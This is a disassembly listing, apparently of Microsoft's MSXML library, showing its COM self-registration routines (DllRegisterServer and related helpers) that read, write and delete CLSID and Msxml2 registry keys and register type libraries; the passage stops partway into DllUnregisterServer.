mov edi, ds:lstrlenA
mov [ebp+cbValueName], offset off_69B2B6B0
loc_69B2B5E5: ; CODE XREF: sub_69B2B4A9+1EDj
mov eax, [ebp+cbValueName]
mov eax, [eax]
cmp eax, ebx
jz loc_69B2B69C
lea ecx, [ebp+phkResult]
push ecx ; phkResult
push 3 ; samDesired
push ebx ; ulOptions
push eax ; lpSubKey
push 80000000h ; hKey
call RegOpenKeyExA ; RegOpenKeyExA
cmp eax, ebx
mov [ebp+dwIndex], eax
jnz short loc_69B2B681
mov ecx, [ebp+cbValueName]
mov eax, [ecx+8]
dec eax
jz short loc_69B2B65F
dec eax
jz short loc_69B2B64F
dec eax
jnz short loc_69B2B681
push dword ptr [ecx+4] ; lpString2
lea eax, [ebp+String]
push eax ; lpString1
call ds:lstrcpyA ; lstrcpyA
lea eax, [ebp+String2]
push eax ; lpString2
lea eax, [ebp+String]
push eax ; lpString1
call ds:lstrcatA ; lstrcatA
lea eax, [ebp+String]
push eax ; lpString
call edi ; lstrlenA
inc eax
push eax
lea eax, [ebp+String]
jmp short loc_69B2B65A
; ---------------------------------------------------------------------------
loc_69B2B64F: ; CODE XREF: sub_69B2B4A9+16Dj
lea eax, [ebp+String2]
push eax ; lpString
call edi ; lstrlenA
inc eax
push eax
lea eax, [ebp+String2]
loc_69B2B65A: ; CODE XREF: sub_69B2B4A9+1A4j
push eax
push 1
jmp short loc_69B2B673
; ---------------------------------------------------------------------------
loc_69B2B65F: ; CODE XREF: sub_69B2B4A9+16Aj
lea eax, [ebp+MultiByteStr]
push eax ; lpString
call edi ; lstrlenA
inc eax
push eax ; cbData
lea eax, [ebp+MultiByteStr]
push eax ; lpData
push 2 ; dwType
loc_69B2B673: ; CODE XREF: sub_69B2B4A9+1B4j
push ebx ; Reserved
push offset byte_69B25C44 ; lpValueName
push [ebp+phkResult] ; hKey
call esi ; RegSetValueExA
mov [ebp+dwIndex], eax
loc_69B2B681: ; CODE XREF: sub_69B2B4A9+161j
; sub_69B2B4A9+170j
cmp [ebp+phkResult], ebx
jz short loc_69B2B68F
push [ebp+phkResult] ; hKey
call RegCloseKey ; RegCloseKey
loc_69B2B68F: ; CODE XREF: sub_69B2B4A9+1DBj
add [ebp+cbValueName], 0Ch
cmp [ebp+dwIndex], ebx
jz loc_69B2B5E5
loc_69B2B69C: ; CODE XREF: sub_69B2B4A9+D5j
; sub_69B2B4A9+143j
mov ecx, [ebp+var_4]
xor ecx, [ebp+4]
mov eax, [ebp+var_18]
pop edi
pop esi
pop ebx
call sub_69B1B9F6
leave
retn
sub_69B2B4A9 endp
; ---------------------------------------------------------------------------
align 10h
off_69B2B6B0 dd offset aClsid2933bf947 ; DATA XREF: sub_69B2B4A9+135o
; "CLSID\\{2933BF94-7B36-11d2-B20E-00C04F98"...
align 8
dd 1
dd offset aClsid2933bf9_3 ; "CLSID\\{2933BF94-7B36-11d2-B20E-00C04F98"...
dd 0
dd 2
dd offset aClsid373984c9B ; "CLSID\\{373984C9-B845-449B-91E7-45AC8303"...
align 10h
dd 1
dd offset aClsid373984c_0 ; "CLSID\\{373984C9-B845-449B-91E7-45AC8303"...
dd 0
dd 2
dd offset aClsidF5078f19C ; "CLSID\\{f5078f19-c551-11d3-89b9-0000f81f"...
align 8
dd 1
dd offset aClsidF5078f1_0 ; "CLSID\\{f5078f19-c551-11d3-89b9-0000f81f"...
dd 0
dd 2
dd offset aClsidF5078f27C ; "CLSID\\{f5078f27-c551-11d3-89b9-0000f81f"...
align 10h
dd 1
dd offset aClsidF5078f2_0 ; "CLSID\\{f5078f27-c551-11d3-89b9-0000f81f"...
dd 0
dd 2
dd offset aClsidF6d90f119 ; "CLSID\\{F6D90F11-9C73-11D3-B32E-00C04F99"...
align 8
dd 1
dd offset aClsidF6d90f1_0 ; "CLSID\\{F6D90F11-9C73-11D3-B32E-00C04F99"...
dd 0
dd 2
dd offset aClsidF6d90f129 ; "CLSID\\{F6D90F12-9C73-11D3-B32E-00C04F99"...
align 10h
dd 1
dd offset aClsidF6d90f1_1 ; "CLSID\\{F6D90F12-9C73-11D3-B32E-00C04F99"...
dd 0
dd 2
dd offset aClsidF6d90f149 ; "CLSID\\{F6D90F14-9C73-11D3-B32E-00C04F99"...
align 8
dd 1
dd offset aClsidF6d90f1_2 ; "CLSID\\{F6D90F14-9C73-11D3-B32E-00C04F99"...
dd 0
dd 2
dd offset aClsidF6d90f169 ; "CLSID\\{F6D90F16-9C73-11D3-B32E-00C04F99"...
align 10h
dd 1
dd offset aMsxml2_domdocu ; "Msxml2.DOMDocument\\CurVer"
dd offset aMsxml2_domdo_1 ; "Msxml2.DOMDocument."
dd 3
dd offset aMsxml2_dsocont ; "Msxml2.DSOControl\\CurVer"
dd offset aMsxml2_dsoco_1 ; "Msxml2.DSOControl."
dd 3
dd offset aMsxml2_freethr ; "Msxml2.FreeThreadedDOMDocument\\CurVer"
dd offset aMsxml2_freet_1 ; "Msxml2.FreeThreadedDOM."
dd 3
dd offset aMsxml2_xmlhttp ; "Msxml2.XMLHTTP\\CurVer"
dd offset aMsxml2_xmlht_1 ; "Msxml2.XMLHTTP."
dd 3
dd offset aMsxml2_xmlpars ; "Msxml2.XMLParser\\CurVer"
dd offset aMsxml2_xmlpa_1 ; "Msxml2.XMLParser."
dd 3
dd offset aMsxml2_xmlsche ; "Msxml2.XMLSchemaCache\\CurVer"
dd offset aMsxml2_xmlsc_1 ; "Msxml2.XMLSchemaCache."
dd 3
dd offset aMsxml2_xslpatt ; "Msxml2.XSLPatternFactory\\CurVer"
dd offset aMsxml2_xslpa_1 ; "Msxml2.XSLPatternFactory."
dd 3
dd offset aMsxml2_xsltemp ; "Msxml2.XSLTemplate\\CurVer"
dd offset aMsxml2_xslte_1 ; "Msxml2.XSLTemplate."
dd 3, 3 dup(0)
aMsxml2_xslte_1 db 'Msxml2.XSLTemplate.',0 ; DATA XREF: .text:69B2B7BCo
aMsxml2_xslpa_1 db 'Msxml2.XSLPatternFactory.',0 ; DATA XREF: .text:69B2B7B0o
align 10h
aMsxml2_xmlsc_1 db 'Msxml2.XMLSchemaCache.',0 ; DATA XREF: .text:69B2B7A4o
align 4
aMsxml2_xmlpa_1 db 'Msxml2.XMLParser.',0 ; DATA XREF: .text:69B2B798o
align 4
aMsxml2_xmlht_1 db 'Msxml2.XMLHTTP.',0 ; DATA XREF: .text:69B2B78Co
aMsxml2_freet_1 db 'Msxml2.FreeThreadedDOM.',0 ; DATA XREF: .text:69B2B780o
aMsxml2_dsoco_1 db 'Msxml2.DSOControl.',0 ; DATA XREF: .text:69B2B774o
align 4
aMsxml2_domdo_1 db 'Msxml2.DOMDocument.',0 ; DATA XREF: .text:69B2B768o
aClsidF6d90f169 db 'CLSID\{F6D90F16-9C73-11D3-B32E-00C04F990BB4}\InProcServer32',0
; DATA XREF: .text:69B2B758o
aClsidF6d90f1_2 db 'CLSID\{F6D90F14-9C73-11D3-B32E-00C04F990BB4}\Version',0
; DATA XREF: .text:69B2B74Co
align 10h
aClsidF6d90f149 db 'CLSID\{F6D90F14-9C73-11D3-B32E-00C04F990BB4}\InProcServer32',0
; DATA XREF: .text:69B2B740o
aClsidF6d90f1_1 db 'CLSID\{F6D90F12-9C73-11D3-B32E-00C04F990BB4}\Version',0
; DATA XREF: .text:69B2B734o
align 4
aClsidF6d90f129 db 'CLSID\{F6D90F12-9C73-11D3-B32E-00C04F990BB4}\InProcServer32',0
; DATA XREF: .text:69B2B728o
aClsidF6d90f1_0 db 'CLSID\{F6D90F11-9C73-11D3-B32E-00C04F990BB4}\Version',0
; DATA XREF: .text:69B2B71Co
align 4
aClsidF6d90f119 db 'CLSID\{F6D90F11-9C73-11D3-B32E-00C04F990BB4}\InProcServer32',0
; DATA XREF: .text:69B2B710o
aClsidF5078f2_0 db 'CLSID\{f5078f27-c551-11d3-89b9-0000f81fe221}\Version',0
; DATA XREF: .text:69B2B704o
align 4
aClsidF5078f27C db 'CLSID\{f5078f27-c551-11d3-89b9-0000f81fe221}\InProcServer32',0
; DATA XREF: .text:69B2B6F8o
aClsidF5078f1_0 db 'CLSID\{f5078f19-c551-11d3-89b9-0000f81fe221}\Version',0
; DATA XREF: .text:69B2B6ECo
align 10h
aClsidF5078f19C db 'CLSID\{f5078f19-c551-11d3-89b9-0000f81fe221}\InProcServer32',0
; DATA XREF: .text:69B2B6E0o
aClsid373984c_0 db 'CLSID\{373984C9-B845-449B-91E7-45AC83036ADE}\Version',0
; DATA XREF: .text:69B2B6D4o
align 4
aClsid373984c9B db 'CLSID\{373984C9-B845-449B-91E7-45AC83036ADE}\InProcServer32',0
; DATA XREF: .text:69B2B6C8o
aClsid2933bf9_3 db 'CLSID\{2933BF94-7B36-11d2-B20E-00C04F983E60}\Version',0
; DATA XREF: .text:69B2B6BCo
align 4
aClsid2933bf947 db 'CLSID\{2933BF94-7B36-11d2-B20E-00C04F983E60}\InProcServer32',0
; DATA XREF: .text:off_69B2B6B0o
; char aClsid2933bf907[]
aClsid2933bf907 db 'CLSID\{2933BF90-7B36-11d2-B20E-00C04F983E60}\VersionList',0
; DATA XREF: sub_69B2B4A9+3Fo
align 10h
aFixsidebyside db 'FixSideBySide',0 ; DATA XREF: sub_69B2B4A9+16o
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B2BC2E(LPCSTR phkResult, LPCSTR lpValueName, LPCSTR lpString1)
sub_69B2BC2E proc near ; CODE XREF: sub_69B2BCC2+9p
; sub_69B2BCC2+21p ...
String2 = byte ptr -110h
Type = dword ptr -0Ch
cbData = dword ptr -8
var_4 = dword ptr -4
phkResult = dword ptr 8
lpValueName = dword ptr 0Ch
lpString1 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 110h
mov eax, dword_69B92170
xor eax, [ebp+4]
push esi
mov [ebp+var_4], eax
lea eax, [ebp+phkResult]
push eax ; phkResult
xor esi, esi
inc esi
push esi ; samDesired
push 0 ; ulOptions
push [ebp+phkResult] ; lpSubKey
push 80000000h ; hKey
call RegOpenKeyExA ; RegOpenKeyExA
test eax, eax
jnz short loc_69B2BCB0
cmp [ebp+lpString1], eax
jz short loc_69B2BCA5
cmp [ebp+lpValueName], eax
jz short loc_69B2BCA5
lea eax, [ebp+cbData]
push eax ; lpcbData
lea eax, [ebp+String2]
push eax ; lpData
lea eax, [ebp+Type]
push eax ; lpType
push 0 ; lpReserved
push [ebp+lpValueName] ; lpValueName
mov [ebp+cbData], 104h
push [ebp+phkResult] ; hKey
call RegQueryValueExA ; RegQueryValueExA
test eax, eax
jnz short loc_69B2BCA7
lea eax, [ebp+String2]
push eax ; lpString2
push [ebp+lpString1] ; lpString1
call ds:lstrcmpA ; lstrcmpA
mov esi, eax
jmp short loc_69B2BCA7
; ---------------------------------------------------------------------------
loc_69B2BCA5: ; CODE XREF: sub_69B2BC2E+34j
; sub_69B2BC2E+39j
xor esi, esi
loc_69B2BCA7: ; CODE XREF: sub_69B2BC2E+61j
; sub_69B2BC2E+75j
push [ebp+phkResult] ; hKey
call RegCloseKey ; RegCloseKey
loc_69B2BCB0: ; CODE XREF: sub_69B2BC2E+2Fj
mov ecx, [ebp+var_4]
xor ecx, [ebp+4]
mov eax, esi
pop esi
call sub_69B1B9F6
leave
retn 0Ch
sub_69B2BC2E endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B2BCC2(LPCSTR lpString1)
sub_69B2BCC2 proc near ; CODE XREF: DllRegisterServer+19p
lpString1 = dword ptr 4
push 0 ; lpString1
push 0 ; lpValueName
push offset phkResult ; "CLSID\\{2933BF90-7B36-11d2-B20E-00C04F98"...
call sub_69B2BC2E
cmp eax, 1
jz short loc_69B2BCF0
push [esp+lpString1] ; lpString1
push offset aRegversion ; "RegVersion"
push offset aClsid2933bf9_1 ; "CLSID\\{2933BF90-7B36-11d2-B20E-00C04F98"...
call sub_69B2BC2E
test eax, eax
jz short loc_69B2BCF0
xor eax, eax
jmp short locret_69B2BCF3
; ---------------------------------------------------------------------------
loc_69B2BCF0: ; CODE XREF: sub_69B2BCC2+11j
; sub_69B2BCC2+28j
xor eax, eax
inc eax
locret_69B2BCF3: ; CODE XREF: sub_69B2BCC2+2Cj
retn 4
sub_69B2BCC2 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B2BCF6(LPCSTR lpString1)
sub_69B2BCF6 proc near ; CODE XREF: DllUnregisterServer+21p
lpString1 = dword ptr 4
push [esp+lpString1] ; lpString1
push offset aRegversion ; "RegVersion"
push offset aClsid2933bf9_1 ; "CLSID\\{2933BF90-7B36-11d2-B20E-00C04F98"...
call sub_69B2BC2E
neg eax
sbb eax, eax
inc eax
retn 4
sub_69B2BCF6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2BD11 proc near ; CODE XREF: DllRegisterServer:loc_69B2C25Ep
dwDisposition = dword ptr -18h
Type = dword ptr -14h
var_10 = dword ptr -10h
cbData = dword ptr -0Ch
Data = byte ptr -8
hKey = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
lea eax, [ebp+hKey]
push eax ; phkResult
push 3 ; samDesired
xor esi, esi
push esi ; ulOptions
mov ebx, offset aClsid2933bf9_1 ; "CLSID\\{2933BF90-7B36-11d2-B20E-00C04F98"...
push ebx ; lpSubKey
mov edi, 80000000h
push edi ; hKey
mov [ebp+hKey], esi
mov dword ptr [ebp+Data], esi
call RegOpenKeyExA ; RegOpenKeyExA
test eax, eax
jnz short loc_69B2BD6A
lea eax, [ebp+cbData]
push eax ; lpcbData
lea eax, [ebp+Data]
push eax ; lpData
lea eax, [ebp+Type]
push eax ; lpType
push esi ; lpReserved
push offset aRefcount ; "RefCount"
push [ebp+hKey] ; hKey
mov [ebp+cbData], 4
call RegQueryValueExA ; RegQueryValueExA
cmp eax, esi
jz short loc_69B2BD8A
mov dword ptr [ebp+Data], esi
jmp short loc_69B2BD8A
; ---------------------------------------------------------------------------
loc_69B2BD6A: ; CODE XREF: sub_69B2BD11+2Cj
lea eax, [ebp+dwDisposition]
push eax ; lpdwDisposition
lea eax, [ebp+hKey]
push eax ; phkResult
push esi ; lpSecurityAttributes
push 20006h ; samDesired
push esi ; dwOptions
push esi ; lpClass
push esi ; Reserved
push ebx ; lpSubKey
push edi ; hKey
call RegCreateKeyExA ; RegCreateKeyExA
cmp eax, esi
mov [ebp+var_10], eax
jnz short loc_69B2BDA7
loc_69B2BD8A: ; CODE XREF: sub_69B2BD11+52j
; sub_69B2BD11+57j
inc dword ptr [ebp+Data]
push 4 ; cbData
lea eax, [ebp+Data]
push eax ; lpData
push 4 ; dwType
push esi ; Reserved
push offset aRefcount ; "RefCount"
push [ebp+hKey] ; hKey
call RegSetValueExA ; RegSetValueExA
mov [ebp+var_10], eax
loc_69B2BDA7: ; CODE XREF: sub_69B2BD11+77j
cmp [ebp+hKey], esi
jz short loc_69B2BDB5
push [ebp+hKey] ; hKey
call RegCloseKey ; RegCloseKey
loc_69B2BDB5: ; CODE XREF: sub_69B2BD11+99j
cmp [ebp+var_10], esi
jnz short loc_69B2BE2F
lea eax, [ebp+hKey]
push eax ; phkResult
push 3 ; samDesired
push esi ; ulOptions
push ebx ; lpSubKey
push edi ; hKey
mov [ebp+cbData], 4
call RegOpenKeyExA ; RegOpenKeyExA
test eax, eax
jnz short loc_69B2BDF8
lea eax, [ebp+cbData]
push eax ; lpcbData
lea eax, [ebp+Data]
push eax ; lpData
lea eax, [ebp+Type]
push eax ; lpType
push esi ; lpReserved
push offset aVersion26refco ; "Version26RefCount"
push [ebp+hKey] ; hKey
call RegQueryValueExA ; RegQueryValueExA
cmp eax, esi
jz short loc_69B2BE15
mov dword ptr [ebp+Data], esi
jmp short loc_69B2BE15
; ---------------------------------------------------------------------------
loc_69B2BDF8: ; CODE XREF: sub_69B2BD11+C1j
lea eax, [ebp+dwDisposition]
push eax ; lpdwDisposition
lea eax, [ebp+hKey]
push eax ; phkResult
push esi ; lpSecurityAttributes
push 20006h ; samDesired
push esi ; dwOptions
push esi ; lpClass
push esi ; Reserved
push ebx ; lpSubKey
push edi ; hKey
call RegCreateKeyExA ; RegCreateKeyExA
cmp eax, esi
jnz short loc_69B2BE2F
loc_69B2BE15: ; CODE XREF: sub_69B2BD11+E0j
; sub_69B2BD11+E5j
inc dword ptr [ebp+Data]
push 4 ; cbData
lea eax, [ebp+Data]
push eax ; lpData
push 4 ; dwType
push esi ; Reserved
push offset aVersion26refco ; "Version26RefCount"
push [ebp+hKey] ; hKey
call RegSetValueExA ; RegSetValueExA
loc_69B2BE2F: ; CODE XREF: sub_69B2BD11+A7j
; sub_69B2BD11+102j
cmp [ebp+hKey], esi
pop edi
pop esi
pop ebx
jz short loc_69B2BE40
push [ebp+hKey] ; hKey
call RegCloseKey ; RegCloseKey
loc_69B2BE40: ; CODE XREF: sub_69B2BD11+124j
mov eax, dword ptr [ebp+Data]
leave
retn
sub_69B2BD11 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2BE45 proc near ; CODE XREF: DllUnregisterServer+29p
Type = dword ptr -14h
Data = byte ptr -10h
cbData = dword ptr -0Ch
var_8 = dword ptr -8
hKey = dword ptr -4
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov edi, RegOpenKeyExA
lea ecx, [ebp+hKey]
push ecx ; phkResult
xor eax, eax
push 3 ; samDesired
push eax ; ulOptions
mov esi, offset aClsid2933bf9_1 ; "CLSID\\{2933BF90-7B36-11d2-B20E-00C04F98"...
push esi ; lpSubKey
mov ebx, 80000000h
push ebx ; hKey
mov [ebp+hKey], eax
mov [ebp+var_8], 1
mov dword ptr [ebp+Data], eax
call edi ; RegOpenKeyExA
test eax, eax
jnz short loc_69B2BEAF
lea eax, [ebp+cbData]
push eax ; lpcbData
lea eax, [ebp+Data]
push eax ; lpData
lea eax, [ebp+Type]
push eax ; lpType
push 0 ; lpReserved
mov ebx, offset aVersion26refco ; "Version26RefCount"
push ebx ; lpValueName
push [ebp+hKey] ; hKey
mov [ebp+cbData], 4
call RegQueryValueExA ; RegQueryValueExA
push ebx ; lpValueName
push [ebp+hKey] ; hKey
call RegDeleteValueA ; RegDeleteValueA
mov ebx, 80000000h
loc_69B2BEAF: ; CODE XREF: sub_69B2BE45+35j
cmp [ebp+hKey], 0
jz short loc_69B2BEBE
push [ebp+hKey] ; hKey
call RegCloseKey ; RegCloseKey
loc_69B2BEBE: ; CODE XREF: sub_69B2BE45+6Ej
lea eax, [ebp+hKey]
push eax ; phkResult
push 3 ; samDesired
push 0 ; ulOptions
push esi ; lpSubKey
push ebx ; hKey
call edi ; RegOpenKeyExA
test eax, eax
jnz short loc_69B2BF24
lea eax, [ebp+cbData]
push eax ; lpcbData
lea eax, [ebp+var_8]
push eax ; lpData
lea eax, [ebp+Type]
push eax ; lpType
push 0 ; lpReserved
mov esi, offset aRefcount ; "RefCount"
push esi ; lpValueName
push [ebp+hKey] ; hKey
mov [ebp+cbData], 4
call RegQueryValueExA ; RegQueryValueExA
test eax, eax
jnz short loc_69B2BF20
mov eax, dword ptr [ebp+Data]
sub [ebp+var_8], eax
jnz short loc_69B2BF0A
push esi ; lpValueName
push [ebp+hKey] ; hKey
call RegDeleteValueA ; RegDeleteValueA
jmp short loc_69B2BF24
; ---------------------------------------------------------------------------
loc_69B2BF0A: ; CODE XREF: sub_69B2BE45+B7j
push 4 ; cbData
lea eax, [ebp+var_8]
push eax ; lpData
push 4 ; dwType
push 0 ; Reserved
push esi ; lpValueName
push [ebp+hKey] ; hKey
call RegSetValueExA ; RegSetValueExA
jmp short loc_69B2BF24
; ---------------------------------------------------------------------------
loc_69B2BF20: ; CODE XREF: sub_69B2BE45+AFj
and [ebp+var_8], 0
loc_69B2BF24: ; CODE XREF: sub_69B2BE45+87j
; sub_69B2BE45+C3j ...
xor esi, esi
cmp [ebp+hKey], esi
jz short loc_69B2BF34
push [ebp+hKey] ; hKey
call RegCloseKey ; RegCloseKey
loc_69B2BF34: ; CODE XREF: sub_69B2BE45+E4j
cmp [ebp+var_8], esi
jnz short loc_69B2BF64
lea eax, [ebp+hKey]
push eax ; phkResult
push 3 ; samDesired
push esi ; ulOptions
push offset phkResult ; "CLSID\\{2933BF90-7B36-11d2-B20E-00C04F98"...
push ebx ; hKey
call edi ; RegOpenKeyExA
cmp [ebp+hKey], esi
jz short loc_69B2BF64
push offset aSidebyside ; "SideBySide"
push [ebp+hKey] ; hKey
call RegDeleteKeyA ; RegDeleteKeyA
push [ebp+hKey] ; hKey
call RegCloseKey ; RegCloseKey
loc_69B2BF64: ; CODE XREF: sub_69B2BE45+F2j
; sub_69B2BE45+106j
mov eax, [ebp+var_8]
pop edi
pop esi
pop ebx
leave
retn
sub_69B2BE45 endp
; ---------------------------------------------------------------------------
; char aSidebyside[]
aSidebyside db 'SideBySide',0 ; DATA XREF: sub_69B2BE45+108o
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2BF77 proc near ; CODE XREF: DllUnregisterServer+18Ep
szFullPath = word ptr -428h
MultiByteStr = byte ptr -220h
Src = byte ptr -11Ch
Type = dword ptr -18h
cbData = dword ptr -14h
ptlib = dword ptr -10h
var_C = dword ptr -0Ch
hKey = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 428h
mov eax, dword_69B92170
xor eax, [ebp+4]
push ebx
push esi
mov esi, RegOpenKeyExA
push edi
mov [ebp+var_4], eax
lea eax, [ebp+hKey]
push eax ; phkResult
push 1 ; samDesired
push 0 ; ulOptions
push offset aClsid2933bf9_2 ; "CLSID\\{2933BF90-7B36-11d2-B20E-00C04F98"...
mov edi, 80000000h
mov ebx, 103h
push edi ; hKey
mov [ebp+var_C], 80004005h
mov [ebp+cbData], ebx
call esi ; RegOpenKeyExA
test eax, eax
jnz loc_69B2C059
lea eax, [ebp+cbData]
push eax ; lpcbData
lea eax, [ebp+Src]
push eax ; lpData
lea eax, [ebp+Type]
push eax ; lpType
push 0 ; lpReserved
push offset byte_69B25C44 ; lpValueName
push [ebp+hKey] ; hKey
call RegQueryValueExA ; RegQueryValueExA
test eax, eax
jnz short loc_69B2C050
push ebx ; nSize
lea eax, [ebp+MultiByteStr]
push eax ; lpDst
lea eax, [ebp+Src]
push eax ; lpSrc
call ds:ExpandEnvironmentStringsA ; ExpandEnvironmentStringsA
test eax, eax
jbe short loc_69B2C050
push 104h ; cchWideChar
lea eax, [ebp+szFullPath]
push eax ; lpWideCharStr
push 0FFFFFFFFh ; cchMultiByte
lea eax, [ebp+MultiByteStr]
push eax ; lpMultiByteStr
xor ebx, ebx
push ebx ; dwFlags
push ebx ; CodePage
call ds:MultiByteToWideChar ; MultiByteToWideChar
lea eax, [ebp+ptlib]
push eax ; pptlib
lea eax, [ebp+szFullPath]
push eax ; szFile
call LoadTypeLib
cmp eax, ebx
mov [ebp+var_C], eax
jl short loc_69B2C050
push ebx ; szHelpDir
lea eax, [ebp+szFullPath]
push eax ; szFullPath
push [ebp+ptlib] ; ptlib
call RegisterTypeLib
mov [ebp+var_C], eax
mov eax, [ebp+ptlib]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B2C050: ; CODE XREF: sub_69B2BF77+6Aj
; sub_69B2BF77+83j ...
push [ebp+hKey] ; hKey
call RegCloseKey ; RegCloseKey
loc_69B2C059: ; CODE XREF: sub_69B2BF77+43j
lea eax, [ebp+hKey]
push eax ; phkResult
push 3 ; samDesired
push 0 ; ulOptions
push offset phkResult ; "CLSID\\{2933BF90-7B36-11d2-B20E-00C04F98"...
push edi ; hKey
call esi ; RegOpenKeyExA
test eax, eax
pop edi
pop esi
pop ebx
jnz short loc_69B2C08C
cmp [ebp+hKey], eax
jz short loc_69B2C08C
push offset aVersionlist ; "VersionList"
push [ebp+hKey] ; hKey
call RegDeleteKeyA ; RegDeleteKeyA
push [ebp+hKey] ; hKey
call RegCloseKey ; RegCloseKey
loc_69B2C08C: ; CODE XREF: sub_69B2BF77+F7j
; sub_69B2BF77+FCj
mov ecx, [ebp+var_4]
xor ecx, [ebp+4]
mov eax, [ebp+var_C]
call sub_69B1B9F6
leave
retn
sub_69B2BF77 endp
; ---------------------------------------------------------------------------
; char aVersionlist[]
aVersionlist db 'VersionList',0 ; DATA XREF: sub_69B2BF77+FEo
; char aClsid2933bf9_2[]
aClsid2933bf9_2 db 'CLSID\{2933BF90-7B36-11d2-B20E-00C04F983E60}\InProcServer32',0
; DATA XREF: sub_69B2BF77+25o
; Exported entry 16. DllRegisterServer
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; HRESULT __stdcall DllRegisterServer()
public DllRegisterServer
DllRegisterServer proc near
szFullPath = word ptr -328h
Filename = byte ptr -120h
Type = dword ptr -1Ch
cbData = dword ptr -18h
hKey = dword ptr -14h
ptlib = dword ptr -10h
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 328h
mov eax, dword_69B92170
xor eax, [ebp+4]
push offset String1 ; lpString1
mov [ebp+var_4], eax
call sub_69B2BCC2
test eax, eax
jz short loc_69B2C123
call sub_69B2B309
test eax, eax
jz short loc_69B2C119
push offset aRegmime ; "RegMIME"
call sub_69B2B41B
loc_69B2C119: ; CODE XREF: DllRegisterServer+29j
push offset aRegold ; "RegOld"
call sub_69B2B41B
loc_69B2C123: ; CODE XREF: DllRegisterServer+20j
push ebx
push esi
xor esi, esi
push edi
mov [ebp+var_C], esi
xor ebx, ebx
mov edi, 104h
loc_69B2C132: ; CODE XREF: DllRegisterServer+108j
cmp ebx, 0A0h
jnb loc_69B2C1F2
mov eax, ds:dword_69B258E0[ebx]
cmp eax, esi
jz loc_69B2C1D8
lea ecx, [ebp+hKey]
push ecx ; phkResult
push 1 ; samDesired
push esi ; ulOptions
push eax ; lpSubKey
push 80000000h ; hKey
mov [ebp+var_5], 1
mov [ebp+cbData], edi
call RegOpenKeyExA ; RegOpenKeyExA
test eax, eax
jnz short loc_69B2C1D8
lea eax, [ebp+cbData]
push eax ; lpcbData
lea eax, [ebp+Filename]
push eax ; lpData
lea eax, [ebp+Type]
push eax ; lpType
push esi ; lpReserved
push offset byte_69B25C44 ; lpValueName
push [ebp+hKey] ; hKey
call RegQueryValueExA ; RegQueryValueExA
test eax, eax
jnz short loc_69B2C1C9
mov esi, ds:dword_69B258E4[ebx]
lea eax, [ebp+Filename]
loc_69B2C198: ; CODE XREF: DllRegisterServer+D0j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_69B2C1BA
test cl, cl
jz short loc_69B2C1B6
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_69B2C1BA
inc eax
inc eax
inc esi
inc esi
test cl, cl
jnz short loc_69B2C198
loc_69B2C1B6: ; CODE XREF: DllRegisterServer+BEj
xor eax, eax
jmp short loc_69B2C1BF
; ---------------------------------------------------------------------------
loc_69B2C1BA: ; CODE XREF: DllRegisterServer+BAj
; DllRegisterServer+C8j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_69B2C1BF: ; CODE XREF: DllRegisterServer+D4j
xor esi, esi
test eax, eax
jle short loc_69B2C1C9
mov [ebp+var_5], 0
loc_69B2C1C9: ; CODE XREF: DllRegisterServer+A6j
; DllRegisterServer+DFj
push [ebp+hKey] ; hKey
call RegCloseKey ; RegCloseKey
cmp [ebp+var_5], 0
jz short loc_69B2C1E6
loc_69B2C1D8: ; CODE XREF: DllRegisterServer+62j
; DllRegisterServer+84j
push ds:off_69B258E8[ebx]
call sub_69B2B41B
mov [ebp+var_C], eax
loc_69B2C1E6: ; CODE XREF: DllRegisterServer+F2j
add ebx, 10h
cmp [ebp+var_C], esi
jge loc_69B2C132
loc_69B2C1F2: ; CODE XREF: DllRegisterServer+54j
cmp [ebp+var_C], esi
jl short loc_69B2C25E
push edi ; nSize
lea eax, [ebp+Filename]
push eax ; lpFilename
push hModule ; hModule
call ds:GetModuleFileNameA ; GetModuleFileNameA
push edi ; cchWideChar
lea eax, [ebp+szFullPath]
push eax ; lpWideCharStr
push 0FFFFFFFFh ; cchMultiByte
lea eax, [ebp+Filename]
push eax ; lpMultiByteStr
push esi ; dwFlags
push esi ; CodePage
call ds:MultiByteToWideChar ; MultiByteToWideChar
lea eax, [ebp+ptlib]
push eax ; pptlib
lea eax, [ebp+szFullPath]
push eax ; szFile
call LoadTypeLib
cmp eax, esi
mov [ebp+var_C], eax
jl short loc_69B2C259
push esi ; szHelpDir
lea eax, [ebp+szFullPath]
push eax ; szFullPath
push [ebp+ptlib] ; ptlib
call RegisterTypeLib
mov [ebp+var_C], eax
mov eax, [ebp+ptlib]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B2C259: ; CODE XREF: DllRegisterServer+156j
cmp [ebp+var_C], esi
jnz short loc_69B2C263
loc_69B2C25E: ; CODE XREF: DllRegisterServer+111j
call sub_69B2BD11
loc_69B2C263: ; CODE XREF: DllRegisterServer+178j
call sub_69B2B3FC
mov ecx, [ebp+var_4]
xor ecx, [ebp+4]
mov eax, [ebp+var_C]
pop edi
pop esi
pop ebx
call sub_69B1B9F6
leave
retn
DllRegisterServer endp
; ---------------------------------------------------------------------------
align 4
aRegold db 'RegOld',0 ; DATA XREF: DllRegisterServer:loc_69B2C119o
align 4
aRegmime db 'RegMIME',0 ; DATA XREF: DllRegisterServer+2Bo
; Exported entry 17. DllUnregisterServer
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; HRESULT __stdcall DllUnregisterServer()
public DllUnregisterServer
DllUnregisterServer proc near
Data = byte ptr -124h
Type = dword ptr -20h
cbData = dword ptr -1Ch
var_18 = dword ptr -18h
